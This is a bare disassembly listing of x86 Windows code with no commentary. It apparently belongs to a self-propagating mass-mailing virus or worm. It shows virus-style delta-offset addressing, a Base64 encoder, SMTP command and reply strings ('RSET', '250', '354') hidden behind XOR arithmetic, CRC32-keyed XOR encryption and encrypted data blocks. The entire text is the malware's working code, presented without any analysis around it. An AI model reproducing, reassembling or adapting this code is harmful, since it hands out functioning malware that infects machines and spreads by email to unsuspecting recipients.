:00402FD6 8BF0                    mov esi, eax
:00402FD8 40                      inc eax
:00402FD9 0F8463010000            je 00403142
:00402FDF BF00000100              mov edi, 00010000
:00402FE4 57                      push edi
:00402FE5 6A40                    push 00000040
:00402FE7 FF95B7220000            call dword[ebp+000022B7]
:00402FED 97                      xchg eax, edi
:00402FEE 85FF                    test edi, edi
:00402FF0 0F844C010000            je 00403142
:00402FF6 53                      push ebx
:00402FF7 8BDC                    mov ebx, esp
:00402FF9 6A00                    push 00000000
:00402FFB 53                      push ebx
:00402FFC 50                      push eax
:00402FFD 57                      push edi
:00402FFE 56                      push esi
:00402FFF FF95A3220000            call dword[ebp+000022A3]
:00403005 873424                  xchg dword[esp+esp], esi
:00403008 FF95A7220000            call dword[ebp+000022A7]
:0040300E 83FE7F                  cmp esi, 0000007F
:00403011 0F822B010000            jb 00403142
:00403017 F7C60F000000            test esi, 0000000F
:0040301D 0F851F010000            jne 00403142
:00403023 893C24                  mov dword[esp+esp], edi
:00403026 57                      push edi
:00403027 8D543710                lea edx, dword[edi+esi+10]
:0040302B 83C680                  add esi, -00000080
:0040302E 8D1C37                  lea ebx, dword[edi+esi]
:00403031 56                      push esi
:00403032 81C478FFFFFF            add esp, FFFFFF78
:00403038 8BFC                    mov edi, esp
:0040303A 57                      push edi
:0040303B 6A11                    push 00000011
:0040303D 6A20                    push 00000020
:0040303F 59                      pop ecx
:00403040 58                      pop eax
:00403041 AB                      stosd
:00403042 2BC0                    sub eax, eax
:00403044 F3AB                    rep stosd
:00403046 5F                      pop edi
:00403047 53                      push ebx
:00403048 52                      push edx
:00403049 57                      push edi
:0040304A 8D850A090000            lea eax, dword[ebp+0000090A]
:00403050 50                      push eax
:00403051 E8A8EBFFFF              call 00401BFE
:00403056 81C488000000            add esp, 00000088
:0040305C 8B0C24                  mov ecx, dword[esp+esp]
:0040305F C1E903                  shr ecx, 03
:00403062 8B7C2404                mov edi, dword[esp+04]
:00403066 8BF2                    mov esi, edx
:00403068 83EA80                  sub edx, -00000080
---------
:0040306B E830E8FFFF              call 004018A0
:00403070 83C708                  add edi, 00000008
:00403073 83C610                  add esi, 00000010
:00403076 3BF2                    cmp esi, edx
:00403078 7206                    jc 00403080
:0040307A 81EE80000000            sub esi, 00000080
---------
:00403080 E2E9                    loop 0040306B
:00403082 59                      pop ecx
:00403083 8B0424                  mov eax, dword[esp+esp]
:00403086 81EA80000000            sub edx, 00000080
:0040308C 52                      push edx
:0040308D 51                      push ecx
:0040308E 50                      push eax
:0040308F 8B4210                  mov eax, dword[edx+10]
:00403092 8B5A14                  mov ebx, dword[edx+14]
:00403095 8B4A18                  mov ecx, dword[edx+18]
:00403098 8B7A1C                  mov edi, dword[edx+1C]
:0040309B E807FDFFFF              call 00402DA7
:004030A0 337A1C                  xor edi, dword[edx+1C]
:004030A3 5F                      pop edi
:004030A4 0F8598000000            jne 00403142
:004030AA 334210                  xor eax, dword[edx+10]
:004030AD 0F858F000000            jne 00403142
:004030B3 335A14                  xor ebx, dword[edx+14]
:004030B6 0F8586000000            jne 00403142
:004030BC 334A18                  xor ecx, dword[edx+18]
:004030BF 0F857D000000            jne 00403142
---------
:004030C5 81ED21DFFFFF            sub ebp, FFFFDF21
:004030CB 55                      push ebp
:004030CC 64FF31                  push dword fs:[ecx]
:004030CF 648921                  mov dword fs:[ecx], esp
:004030D2 54                      push esp
:004030D3 45                      inc ebp
:004030D4 8F4500                  pop dword[ebp+00]
:004030D7 6A10                    push 00000010
:004030D9 54                      push esp
:004030DA FFD7                    call edi
:004030DC 5D                      pop ebp
:004030DD EB07                    jmp 004030E6
:004030DF BCC9D65F00              mov esp, 005FD6C9
:004030E4 EB0C                    jmp 004030F2
---------
:004030E6 E812E8FFFF              call 004018FD
:004030EB C68542210000F8          mov byte[ebp+00002142], -08
---------
:004030F2 64678F060000            pop dword fs:[0000]
:004030F8 5D                      pop ebp
:004030F9 8744241C                xchg dword[esp+1C], eax
:004030FD 895C2410                mov dword[esp+10], ebx
:00403101 894C2418                mov dword[esp+18], ecx
:00403105 89742404                mov dword[esp+04], esi
:00403109 8B08                    mov ecx, dword[eax]
:0040310B E302                    jecxz 0040310F
:0040310D EB33                    jmp 00403142
---------
:0040310F 8B3424                  mov esi, dword[esp+esp]
:00403112 50                      push eax
:00403113 81EC00020000            sub esp, 00000200
:00403119 54                      push esp
:0040311A E886F7FFFF              call 004028A5
:0040311F 8D4C2401                lea ecx, dword[esp+01]
:00403123 B800000100              mov eax, 00010000
:00403128 E81A000000              call 00403147
:0040312D 81C400020000            add esp, 00000200
:00403133 8BF8                    mov edi, eax
:00403135 58                      pop eax
:00403136 8938                    mov dword[eax], edi
:00403138 894804                  mov dword[eax+04], ecx
:0040313B B900000100              mov ecx, 00010000
:00403140 F3A4                    rep movsb
---------
:00403142 F9                      stc
:00403143 61                      popad
:00403144 C20400                  ret 0004

=========
:00403147 51                      push ecx
:00403148 50                      push eax
:00403149 E83B000000              call 00403189
:0040314E C3                      ret

:0040314F 60                                                `

:00403150 54                      push esp
:00403151 2BED                    sub ebp, ebp
:00403153 54                      push esp
:00403154 6A04                    push 00000004
:00403156 55                      push ebp
:00403157 FF742434                push dword[esp+34]
:0040315B 55                      push ebp
:0040315C 55                      push ebp
:0040315D E89BE7FFFF              call 004018FD
:00403162 FF95AF220000            call dword[ebp+000022AF]
:00403168 91                      xchg eax, ecx
:00403169 E310                    jecxz 0040317B
:0040316B 51                      push ecx
:0040316C 6AF1                    push -0000000F
:0040316E 51                      push ecx
:0040316F FF95C3220000            call dword[ebp+000022C3]
:00403175 FF95C7220000            call dword[ebp+000022C7]
---------
:0040317B 58                      pop eax
:0040317C 61                      popad
:0040317D C20400                  ret 0004

=========
:00403180 6A00                    push 00000000
:00403182 50                      push eax
:00403183 E801000000              call 00403189
:00403188 C3                      ret

:00403189 60                                                `

:0040318A E86EE7FFFF              call 004018FD
:0040318F 2BFF                    sub edi, edi
:00403191 FF742428                push dword[esp+28]
:00403195 FF742428                push dword[esp+28]
:00403199 57                      push edi
:0040319A 6A04                    push 00000004
:0040319C 57                      push edi
:0040319D 6AFF                    push -00000001
:0040319F FF958B220000            call dword[ebp+0000228B]
:004031A5 85C0                    test eax, eax
:004031A7 7413                    je 004031BC
:004031A9 89442418                mov dword[esp+18], eax
:004031AD FF742424                push dword[esp+24]
:004031B1 57                      push edi
:004031B2 57                      push edi
:004031B3 6A02                    push 00000002
:004031B5 50                      push eax
:004031B6 FF958F220000            call dword[ebp+0000228F]
---------
:004031BC 8944241C                mov dword[esp+1C], eax
:004031C0 61                      popad
:004031C1 C20800                  ret 0008

:004031C4 60                                                `

:004031C5 6A20                    push 00000020
:004031C7 E8ACF6FFFF              call 00402878
:004031CC 61                      popad
:004031CD C20400                  ret 0004

:004031D0 60                                                `

:004031D1 E827E7FFFF              call 004018FD
:004031D6 FF742428                push dword[esp+28]
:004031DA 81ED6DDDFFFF            sub ebp, FFFFDD6D
:004031E0 FF742428                push dword[esp+28]
:004031E4 FF5500                  call dword[ebp+00]
:004031E7 FF5514                  call dword[ebp+14]
:004031EA 61                      popad
:004031EB C20800                  ret 0008

:004031EE 68 19 EB 69 19 D6 78 A7 43 09 FE 48 94 27 DA 1C   h..i..x.C..H.'..
:004031FE FA B5 1A D0 08 DD C5 3B 14 EB 76 E1 80 DF C0 BF   .......;..v.....
:0040320E EB 94 ED BC 3E 18 A4 14 DB B9 DC 7E 6C 25 2E 3D   ....>......~l%.=
:0040321E 5D 38 66 C7 18 97 DF 97 20 48 B5 C9 EE AD 7E EF   ]8f..... H....~.
:0040322E A7 21 5D 00 D3 35 60 B8 5C D8 49 E2 31 BC 42 E0   .!]..5`.\.I.1.B.
:0040323E 2A E2 7B 14 44 63 92 EF B1 B3 93 7C 3E 89 F0 7C   *.{.Dc.....|>..|
:0040324E CC 51 D3 7B 57 66 42 56 DD 46 4F A3 B1 2D D3 13   .Q.{WfBV.FO..-..
:0040325E 3A E9 CE F7 BF 00 A0 A4 75 EA 11 FA BF B0 7B F7   :.......u.....{.
:0040326E BF 31 70 F7 BF BB 71 F7 BF 76 E2 F8               .1p...q..v..

:0040327A BF5077F7BF              mov edi, BFF77750
:0040327F 51                      push ecx
:00403280 70F7                    jo 00403279
:00403282 BFBD15FABF              mov edi, BFFA15BD
:00403287 C279F7                  ret F779

:0040328A BF 1A 77 F7 BF 0E 22 F8 BF AE 3E F8 BF B8 6A F7   ..w..."...>...j.
:0040329A BF 28 6E F7 BF 96 77 F7 BF B9 70 F7 BF 53 E1      .(n...w...p..S.

:004032A9 F7BF5B7BF7BF            idiv dword[edi+BFF77B5B]
:004032AF E66F                    out port[6F], al
:004032B1 F7BFBD6EF7BF            idiv dword[edi+BFF76EBD]
:004032B7 3449                    xor al, 49
:004032B9 F7BFB12EF9BF            idiv dword[edi+BFF92EB1]
:004032BF D11CFA                  rcr dword[edx+8*edi], 1
:004032C2 BFB7F6F8BF              mov edi, BFF8F6B7
:004032C7 4E                      dec esi
:004032C8 11F9                    adc ecx, edi
:004032CA BFFC64F9BF              mov edi, BFF964FC
=========
:004032CF 60                      pushad
:004032D0 81EC13010000            sub esp, 00000113
:004032D6 8BBC2437010000          mov edi, dword[esp+00000137]
:004032DD 2BC0                    sub eax, eax
:004032DF 57                      push edi
:004032E0 6A60                    push 00000060
:004032E2 59                      pop ecx
:004032E3 F3AB                    rep stosd
:004032E5 5F                      pop edi
:004032E6 E812E6FFFF              call 004018FD
:004032EB 884510                  mov byte[ebp+10], al
:004032EE 81ED3BE7FFFF            sub ebp, FFFFE73B
:004032F4 884500                  mov byte[ebp+00], al
---------
:004032F7 8BD4                    mov edx, esp
:004032F9 57                      push edi
:004032FA 52                      push edx
:004032FB 52                      push edx
:004032FC E8A8F5FFFF              call 004028A9
:00403301 E86DFCFFFF              call 00402F73
:00403306 731E                    jae 00403326
:00403308 5F                      pop edi
:00403309 83C70C                  add edi, 0000000C
:0040330C 54                      push esp
:0040330D FF95FA090000            call dword[ebp+000009FA]
---------
:00403313 FE4500                  inc byte[ebp+00]
:00403316 807D0020                cmp byte[ebp+00], 20
:0040331A 72DB                    jc 004032F7
:0040331C 81ECEDFEFFFF            sub esp, FFFFFEED
:00403322 61                      popad
:00403323 C20400                  ret 0004

:00403326 FE 85 4B E7 FF                                    ..K..

:0040332B FF873C2496AB            inc dword[edi+AB96243C]
:00403331 93                      xchg eax, ebx
:00403332 AB                      stosd
:00403333 91                      xchg eax, ecx
:00403334 AB                      stosd
:00403335 FF95EE090000            call dword[ebp+000009EE]
:0040333B EBD6                    jmp 00403313
=========
:0040333D 60                      pushad
:0040333E E8BAE5FFFF              call 004018FD
---------
:00403343 55                      push ebp
:00403344 81ED58EDFFFF            sub ebp, FFFFED58
:0040334A E80D000000              call 0040335C
:0040334F 5D                      pop ebp
:00403350 754A                    jne 0040339C
:00403352 E81A000000              call 00403371

:00403357 74 EA 75 3F E8                                    t.u?.

=========
:0040335C 6A00                    push 00000000
:0040335E FF742438                push dword[esp+38]
:00403362 FF742438                push dword[esp+38]
:00403366 FF742438                push dword[esp+38]
:0040336A FF5500                  call dword[ebp+00]
:0040336D 8BD8                    mov ebx, eax
:0040336F 43                      inc ebx
:00403370 C3                      ret

=========
:00403371 FF95C8120000            call dword[ebp+000012C8]
:00403377 05CDD8FFFF              add eax, FFFFD8CD
:0040337C C3                      ret

:0040337D B9 60                                             .`

:0040337F E879E5FFFF              call 004018FD
---------
:00403384 55                      push ebp
:00403385 81C5A4120000            add ebp, 000012A4
:0040338B E8CCFFFFFF              call 0040335C
:00403390 5D                      pop ebp
:00403391 7509                    jne 0040339C
:00403393 E8D9FFFFFF              call 00403371

:00403398 74 EA F9 B0 F8                                    t....

:0040339D 8944241C                mov dword[esp+1C], eax
:004033A1 61                      popad
:004033A2 C20C00                  ret 000C

:004033A5 FC                                                .

:004033A6 57                      push edi
:004033A7 6A03                    push 00000003
:004033A9 E844000000              call 004033F2

:004033AE 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 
          51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 
          67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 
          77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 
          00                                                ;;n "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
:004033EF 00 00 00                                          ...

=========
:004033F2 5B                      pop ebx
:004033F3 59                      pop ecx
:004033F4 99                      cdq
:004033F5 89540B3D                mov dword[ebx+ecx+3D], edx
:004033F9 F7F1                    div ecx
:004033FB 8BC8                    mov ecx, eax
:004033FD 52                      push edx
---------
:004033FE AD                      lodsd
:004033FF 4E                      dec esi
:00403400 8BD0                    mov edx, eax
:00403402 E83D000000              call 00403444
:00403407 E856000000              call 00403462
:0040340C E85E000000              call 0040346F
:00403411 E2EB                    loop 004033FE
:00403413 59                      pop ecx
:00403414 E321                    jecxz 00403437
:00403416 AD                      lodsd
:00403417 49                      dec ecx
:00403418 740F                    je 00403429
:0040341A 0FB7D0                  movzx edx, ax
:0040341D E822000000              call 00403444
:00403422 E83B000000              call 00403462
:00403427 EB0A                    jmp 00403433
---------
:00403429 0FB6D0                  movzx edx, al
:0040342C E813000000              call 00403444
:00403431 41                      inc ecx
:00403432 41                      inc ecx
---------
:00403433 B03D                    mov al, 3D
:00403435 F3AA                    rep stosb
---------
:00403437 B80D0A0000              mov eax, 00000A0D
:0040343C 66AB                    stosw
:0040343E 59                      pop ecx
:0040343F 2BF9                    sub edi, ecx
:00403441 87CF                    xchg edi, ecx
:00403443 C3                      ret

=========
:00403444 E806000000              call 0040344F
:00403449 E808000000              call 00403456
:0040344E C3                      ret

=========
:0040344F 8BC2                    mov eax, edx
:00403451 C1E802                  shr eax, 02
---------
:00403454 EB1E                    jmp 00403474
=========
:00403456 8BC2                    mov eax, edx
:00403458 C0E004                  shl al, 04
:0040345B C0EC04                  shr ah, 04
---------
:0040345E 0AC4                    or al, ah
:00403460 EBF2                    jmp 00403454
=========
:00403462 8BC2                    mov eax, edx
:00403464 C1E808                  shr eax, 08
:00403467 C0E002                  shl al, 02
:0040346A C0EC06                  shr ah, 06
:0040346D EBEF                    jmp 0040345E
=========
:0040346F 8BC2                    mov eax, edx
:00403471 C1E810                  shr eax, 10
---------
:00403474 243F                    and al, 3F
:00403476 D7                      xlatb
:00403477 AA                      stosb
:00403478 8B4340                  mov eax, dword[ebx+40]
:0040347B 40                      inc eax
:0040347C 894340                  mov dword[ebx+40], eax
:0040347F 60                      pushad
:00403480 6A4C                    push 0000004C
:00403482 59                      pop ecx
:00403483 99                      cdq
:00403484 F7F1                    div ecx
:00403486 85D2                    test edx, edx
:00403488 61                      popad
:00403489 7506                    jne 00403491
:0040348B 66B80D0A                mov ax, 0A0D
:0040348F 66AB                    stosw
---------
:00403491 C3                      ret

:00403492 60                                                `

:00403493 E865E4FFFF              call 004018FD
:00403498 888DC5180000            mov byte[ebp+000018C5], cl
:0040349E E907F4FFFF              jmp 004028AA

:004034A3 60                                                `

:004034A4 6A00                    push 00000000
:004034A6 6A01                    push 00000001
:004034A8 6A02                    push 00000002
:004034AA E84EE4FFFF              call 004018FD
:004034AF FF95B8120000            call dword[ebp+000012B8]
:004034B5 8BD8                    mov ebx, eax
:004034B7 40                      inc eax
:004034B8 0F8428020000            je 004036E6
:004034BE 53                      push ebx
:004034BF 81EC00010000            sub esp, 00000100
:004034C5 8BFC                    mov edi, esp
:004034C7 8BB42428010000          mov esi, dword[esp+00000128]
---------
:004034CE AC                      lodsb
:004034CF 2C40                    sub al, 40
:004034D1 75FB                    jne 004034CE
:004034D3 B8736D7470              mov eax, 70746D73
:004034D8 AB                      stosd
:004034D9 345D                    xor al, 5D
:004034DB AA                      stosb
:004034DC E8DCE5FFFF              call 00401ABD
:004034E1 E322                    jecxz 00403505
:004034E3 F3A4                    rep movsb
:004034E5 91                      xchg eax, ecx
:004034E6 AA                      stosb
:004034E7 54                      push esp
:004034E8 FF95C0120000            call dword[ebp+000012C0]
:004034EE 91                      xchg eax, ecx
:004034EF 85C9                    test ecx, ecx
:004034F1 7512                    jne 00403505
:004034F3 54                      push esp
:004034F4 81C11E0C1D1C            add ecx, 1C1D0C1E
:004034FA 314C2404                xor dword[esp+04], ecx
:004034FE FF95C0120000            call dword[ebp+000012C0]
:00403504 91                      xchg eax, ecx
---------
:00403505 81EC00FFFFFF            sub esp, FFFFFF00
:0040350B 85C9                    test ecx, ecx
:0040350D 0F84A8010000            je 004036BB
:00403513 8B410C                  mov eax, dword[ecx+0C]
:00403516 F8                      clc
---------
:00403517 F5                      cmc
:00403518 96                      xchg eax, esi
:00403519 AD                      lodsd
:0040351A 72FB                    jc 00403517
---------
:0040351C 52                      push edx
:0040351D 2BDB                    sub ebx, ebx
:0040351F 53                      push ebx
:00403520 53                      push ebx
:00403521 50                      push eax
:00403522 6802000019              push 19000002
:00403527 8BDC                    mov ebx, esp
:00403529 6A10                    push 00000010
:0040352B 53                      push ebx
:0040352C FF74241C                push dword[esp+1C]
:00403530 FF95AC120000            call dword[ebp+000012AC]
:00403536 83ECF0                  sub esp, -00000010
:00403539 85C0                    test eax, eax
:0040353B 5A                      pop edx
:0040353C 0F8599010000            jne 004036DB
:00403542 81ECA7010000            sub esp, 000001A7
:00403548 8BEC                    mov ebp, esp
:0040354A 68A7010000              push 000001A7
:0040354F 55                      push ebp
:00403550 FFB424AF010000          push dword[esp+000001AF]
:00403557 E8E1FDFFFF              call 0040333D
:0040355C 0F8273010000            jb 004036D5
:00403562 55                      push ebp
:00403563 B801070D09              mov eax, 090D0701
:00403568 6800010000              push 00000100
:0040356D 8BFD                    mov edi, ebp
:0040356F 3549424146              xor eax, 46414249
:00403574 AB                      stosd
:00403575 2D2838424F              sub eax, 4F423828
:0040357A AA                      stosb
:0040357B 8BF7                    mov esi, edi
:0040357D 56                      push esi
:0040357E E87AE3FFFF              call 004018FD
:00403583 FF95A0120000            call dword[ebp+000012A0]
:00403589 85C0                    test eax, eax
:0040358B 7507                    jne 00403594
:0040358D E82BE5FFFF              call 00401ABD
:00403592 03F9                    add edi, ecx
---------
:00403594 66B80D0A                mov ax, 0A0D
:00403598 66AB                    stosw
:0040359A 5D                      pop ebp
:0040359B 2BFD                    sub edi, ebp
:0040359D E8D9000000              call 0040367B
:004035A2 6A06                    push 00000006
:004035A4 C7450052534554          mov dword[ebp+00], 54455352
:004035AB C745040D0A0000          mov dword[ebp+04], 00000A0D
:004035B2 5F                      pop edi
:004035B3 E8C3000000              call 0040367B
:004035B8 B804FF0706              mov eax, 0607FF04
:004035BD 8BFD                    mov edi, ebp
:004035BF 0549424146              add eax, 46414249
:004035C4 AB                      stosd
:004035C5 356D071B03              xor eax, 031B076D
:004035CA 6A0F                    push 0000000F
:004035CC AB                      stosd
:004035CD 356D7C7273              xor eax, 73727C6D
:004035D2 AB                      stosd
:004035D3 3573372A3C              xor eax, 3C2A3773
:004035D8 AB                      stosd
:004035D9 5F                      pop edi
:004035DA E89C000000              call 0040367B
:004035DF B89B85919A              mov eax, 9A91859B
:004035E4 8BFD                    mov edi, ebp
:004035E6 2D49424146              sub eax, 46414249
:004035EB AB                      stosd
:004035EC 3572171F6E              xor eax, 6E1F1772
:004035F1 AB                      stosd
:004035F2 80F468                  xor ah, 68
:004035F5 66AB                    stosw
:004035F7 8BB424CF010000          mov esi, dword[esp+000001CF]
:004035FE E8BAE4FFFF              call 00401ABD
:00403603 E302                    jecxz 00403607
:00403605 F3A4                    rep movsb
---------
:00403607 351E31453A              xor eax, 3A45311E
:0040360C AB                      stosd
:0040360D 4F                      dec edi
:0040360E 2BFD                    sub edi, ebp
:00403610 E866000000              call 0040367B
:00403615 6A06                    push 00000006
:00403617 81750076746461          xor dword[ebp+00], 61647476
:0040361E 66C745040D0A            mov word[ebp+04], 0A0D
:00403624 5F                      pop edi
:00403625 E84A000000              call 00403674
:0040362A 55                      push ebp
:0040362B 8BB424D7010000          mov esi, dword[esp+000001D7]
:00403632 E886E4FFFF              call 00401ABD
:00403637 E314                    jecxz 0040364D
:00403639 51                      push ecx
:0040363A 56                      push esi
:0040363B FFB424B3010000          push dword[esp+000001B3]
:00403642 E837FDFFFF              call 0040337E
:00403647 0F8287000000            jb 004036D4
---------
:0040364D 5D                      pop ebp
:0040364E 6A05                    push 00000005
:00403650 C745000D0A2E0D          mov dword[ebp+00], 0D2E0A0D
:00403657 66C745040A00            mov word[ebp+04], 000A
:0040365D 5F                      pop edi
:0040365E E818000000              call 0040367B
:00403663 6A06                    push 00000006
:00403665 81750063607974          xor dword[ebp+00], 74796063
:0040366C 66C745040D0A            mov word[ebp+04], 0A0D
:00403672 5F                      pop edi
:00403673 55                      push ebp
=========
:00403674 B833353420              mov eax, 20343533
:00403679 EB05                    jmp 00403680
=========
:0040367B B832353020              mov eax, 20303532
---------
:00403680 55                      push ebp
:00403681 E877E2FFFF              call 004018FD
:00403686 8985B4260000            mov dword[ebp+000026B4], eax
:0040368C 5D                      pop ebp
:0040368D 57                      push edi
:0040368E 55                      push ebp
:0040368F FFB424B3010000          push dword[esp+000001B3]
:00403696 E8E3FCFFFF              call 0040337E
:0040369B 7237                    jc 004036D4
:0040369D 68A7010000              push 000001A7
:004036A2 55                      push ebp
:004036A3 FFB424B3010000          push dword[esp+000001B3]
:004036AA E88EFCFFFF              call 0040333D
:004036AF 7223                    jc 004036D4
:004036B1 817D002083B8ED          cmp dword[ebp+00], EDB88320
:004036B8 751A                    jne 004036D4
:004036BA C3                      ret

---------
:004036BB 6A00                    push 00000000
:004036BD 54                      push esp
:004036BE 6AFF                    push -00000001
:004036C0 6A02                    push 00000002
:004036C2 E860F5FFFF              call 00402C27
:004036C7 58                      pop eax
:004036C8 58                      pop eax
:004036C9 59                      pop ecx
:004036CA E30F                    jecxz 004036DB
:004036CC 720D                    jc 004036DB
:004036CE 91                      xchg eax, ecx
:004036CF E948FEFFFF              jmp 0040351C
---------
:004036D4 5D                      pop ebp
---------
:004036D5 81C4A7010000            add esp, 000001A7
---------
:004036DB E81DE2FFFF              call 004018FD
:004036E0 FF95BC120000            call dword[ebp+000012BC]
---------
:004036E6 61                      popad
:004036E7 C20800                  ret 0008

:004036EA 60 E8 0D E2 FF                                    `....

:004036EF FF6A09                  jmp m16:m32[edx+09]

:004036F2 E8 24 00 00 00 72                                 .$...r

:004036F8 C2EBAC                  ret ACEB

:004036FB 70 CA 8B DF 0E C7 F4 A1 20 83 B8 ED 72 E2 CB A8   p....... ...r...
:0040370B 4E F6 D5 AE 4F ED D6                              N...O..

:00403712 8843F7                  mov byte[ebx-09], al
:00403715 D1824EF0F9ED            rol dword[edx+EDF9F04E], 1
:0040371B E86E000000              call 0040378E

:00403720 FF 34 24 FF 34 24 FF 95 7B 22 00 00 5E 85 C0 96   .4$.4$..{"..^...
:00403730 74 39 83 C0 10 50 56 FF 95 9B 22 00 00 85 C0 74   t9...PV..."....t
:00403740 2A 81 EC 98 01 00 00 68 9C 01 00 00 8B EC 68 9C   *......h......h.
:00403750 01 00 00 8B CC 54 54 51 55 FF D0 5D 81 C4 A0 01   .....TTQU..]....
:00403760 00 00 85 C0 75 05 2B C5 74 01 A8 F9               ....u.+.t...

:0040376C E81D000000              call 0040378E
:00403771 58                      pop eax
:00403772 58                      pop eax
:00403773 9C                      pushfd
:00403774 56                      push esi
:00403775 E883E1FFFF              call 004018FD
:0040377A FF9577220000            call dword[ebp+00002277]
:00403780 68C0D40100              push 0001D4C0
:00403785 FF95BB220000            call dword[ebp+000022BB]
:0040378B 9D                      popfd
:0040378C 61                      popad
:0040378D C3                      ret

:0040378E 9C 60                                             .`

:00403790 8B742428                mov esi, dword[esp+28]
:00403794 8B4C242C                mov ecx, dword[esp+2C]
---------
:00403798 81362083B8ED            xor dword[esi], EDB88320
:0040379E AD                      lodsd
:0040379F E2F7                    loop 00403798
:004037A1 61                      popad
:004037A2 9D                      popfd
:004037A3 C3                      ret

:004037A4 60                                                `

:004037A5 81C4FCFEFFFF            add esp, FFFFFEFC
:004037AB 8BFC                    mov edi, esp
:004037AD 6804010000              push 00000104
:004037B2 57                      push edi
:004037B3 E845E1FFFF              call 004018FD

:004037B8 C6 85 65 28 00 00 3C FF 95 87 22 00 00 57 03 F8   ..e(..<..."..W..
:004037C8 8D 75 06 6A 5C 58 AA C1 E8 08 A5 A5 AA 5F 8B F0   .u.j\X......._..
:004037D8 50 6A 02 6A 04 50 50 68 00 00 00 C0 57 FF 95 AB   Pj.j.PPh....W...
:004037E8 22 00 00 8B D8 81 C4 04 01 00 00 40 74 72 39 74   "..........@tr9t
:004037F8 24 28 74 21 6A 02 56 56 53 FF 95 73 22 00 00 50   $(t!j.VVS..s"..P
:00403808 8B C4 56 50 6A 04 8D 44 24 34 50 53 FF 95 7F 22   ..VPj..D$4PS..."
:00403818 00 00 58 EB 41 6A 00 53 FF 95 6F 22 00 00 91 E3   ..X.Aj.S..o"....
:00403828 35 50 8B C4 56 50 51 51 6A 40 FF 95 B7 22 00 00   5P..VPQQj@..."..
:00403838 8B F8 50 53 FF 95 A3 22 00 00 59 C1 E9 02 57 8B   ..PS..."..Y...W.
:00403848 44 24 28 F2 AF 74 02 E3 07 C6 85 65 28 00 00 EB   D$(..t.....e(...
:00403858 FF 95 B3 22 00 00 53 FF 95 A7 22 00 00 EB 01 A8   ..."..S...".....
:00403868 F9 61                                             .a

:0040386A C20800                  ret 0008

:0040386D 60                                                `

---------
:0040386E B901000000              mov ecx, 00000001
:00403873 E3F9                    jecxz 0040386E
:00403875 E883E0FFFF              call 004018FD
:0040387A 81ED91D7FFFF            sub ebp, FFFFD791
:00403880 FF4D00                  dec dword[ebp+00]
:00403883 8B742424                mov esi, dword[esp+24]
:00403887 2BC9                    sub ecx, ecx
---------
:00403889 AC                      lodsb
:0040388A 3C22                    cmp al, 22
:0040388C 7413                    je 004038A1
:0040388E 3C0D                    cmp al, 0D
:00403890 740F                    je 004038A1
:00403892 3C0A                    cmp al, 0A
:00403894 740B                    je 004038A1
:00403896 3C3E                    cmp al, 3E
:00403898 7407                    je 004038A1
:0040389A 84C0                    test al, al
:0040389C 7403                    je 004038A1
:0040389E 41                      inc ecx
:0040389F EBE8                    jmp 00403889
---------
:004038A1 E327                    jecxz 004038CA
:004038A3 51                      push ecx
:004038A4 83E9F0                  sub ecx, -00000010
:004038A7 8BC1                    mov eax, ecx
:004038A9 E8D2F8FFFF              call 00403180
:004038AE 85C0                    test eax, eax
:004038B0 5A                      pop edx
:004038B1 7417                    je 004038CA
:004038B3 8BB5BDEFFFFF            mov esi, dword[ebp+FFFFEFBD]
:004038B9 8BF8                    mov edi, eax
:004038BB 8706                    xchg dword[esi], eax
:004038BD AB                      stosd
:004038BE 87CA                    xchg edx, ecx
:004038C0 92                      xchg eax, edx
:004038C1 AB                      stosd
:004038C2 8B742424                mov esi, dword[esp+24]
:004038C6 F3A4                    rep movsb
:004038C8 91                      xchg eax, ecx
:004038C9 AA                      stosb
---------
:004038CA FF4500                  inc dword[ebp+00]
:004038CD 61                      popad
:004038CE C20400                  ret 0004

:004038D1 60                                                `

:004038D2 83EC10                  sub esp, 00000010
:004038D5 54                      push esp
:004038D6 E822E0FFFF              call 004018FD

:004038DB FF 95 67 22 00 00 5A 5B 58 58 C1 EB 10 0F B7 DB   ..g"..Z[XX......
:004038EB 66 81 EA D0 07 72 77 0F B7 CA C1 EA 10 0F B7 C2   f....rw.........
:004038FB F6 C1 03 75 01 43 E3 08 81 C3 6D 01 00 00 E2 F0   ...u.C....m.....
:0040390B 8B D1 48 74 3F 83 C3 1F 48 74 39 83 C3 1C 48 74   ..Ht?...Ht9...Ht
:0040391B 33 83 C3 1F 48 74 2D 83 C3 1E 48 74 27 83 C3 1F   3...Ht-...Ht'...
:0040392B 48 74 21 83 C3 1E 48 74 1B 83 C3 1F 48 74 15 83   Ht!...Ht....Ht..
:0040393B C3 1F 48 74 0F 83 C3 1E 48 74 09 83 C3 1F 48 74   ..Ht....Ht....Ht
:0040394B 03 83 C3 1E 83 EB 15 D1 E3 B8 3B 00 00 00 93 F7   ..........;.....
:0040395B F3 85 D2 74 08 4A 74 05 80 FA 39 75 01 A8 F9 61   ...t.Jt...9u...a

:0040396B C3                      ret

:0040396C FFFFFFFF                DWORD FFFFFFFF            ;; ....
:00403970 B1 9C 1F F1 EC 50 5E 59 97 9C 00 3A 8E 1D AE 3F   .....P^Y...:...?
:00403980 2A 2B F4 B1 EC 6E BC C9 90 EB 88 2B CD 5E 78 0A   *+...n.....+.^x.
:00403990 BF 87 FC 7C B0 09 21 1D 90 89 B8 D2 9B D8 E8 DA   ...|..!.........
:004039A0 B7 BE 0B 9C 7E E0 AD 2C 85 C0 16 C7 CA AC DC 7D   ....~..,.......}
:004039B0 72 0F 6A 11 6C 4B F7 DD 01 66 C2 B0 7B 89 6C 17   r.j.lK...f..{.l.
:004039C0 FD EC 38 7E 89 4C E7 36 5C 31 63 9C FB 91 AA 47   ..8~.L.6\1c....G
:004039D0 17 45 4E 47 95 EC D6 FA AF B3 79 25 DA 95 34 16   .ENG......y%..4.
:004039E0 BD E0 BD 61 FE F1 9B 0B F4 3B C8 80 E1 18 A5 C0   ...a.....;......
:004039F0 F1 8B B4 BD 45 13 84 25 0D 4F B3 18 61 04 E9 67   ....E..%.O..a..g
:00403A00 99 53 20 6B 83 23 97 F4 D6 DF D5 B3 10 DE 90 3D   .S k.#.........=
:00403A10 51 46 C8 67 2A                                    QF.g*

:00403A15 C2AC10                  ret 10AC

:00403A18 69 20 FA 04 7A 26 7E 04 8D BB 65 AE E6 43 F2 EF   i ..z&~...e..C..
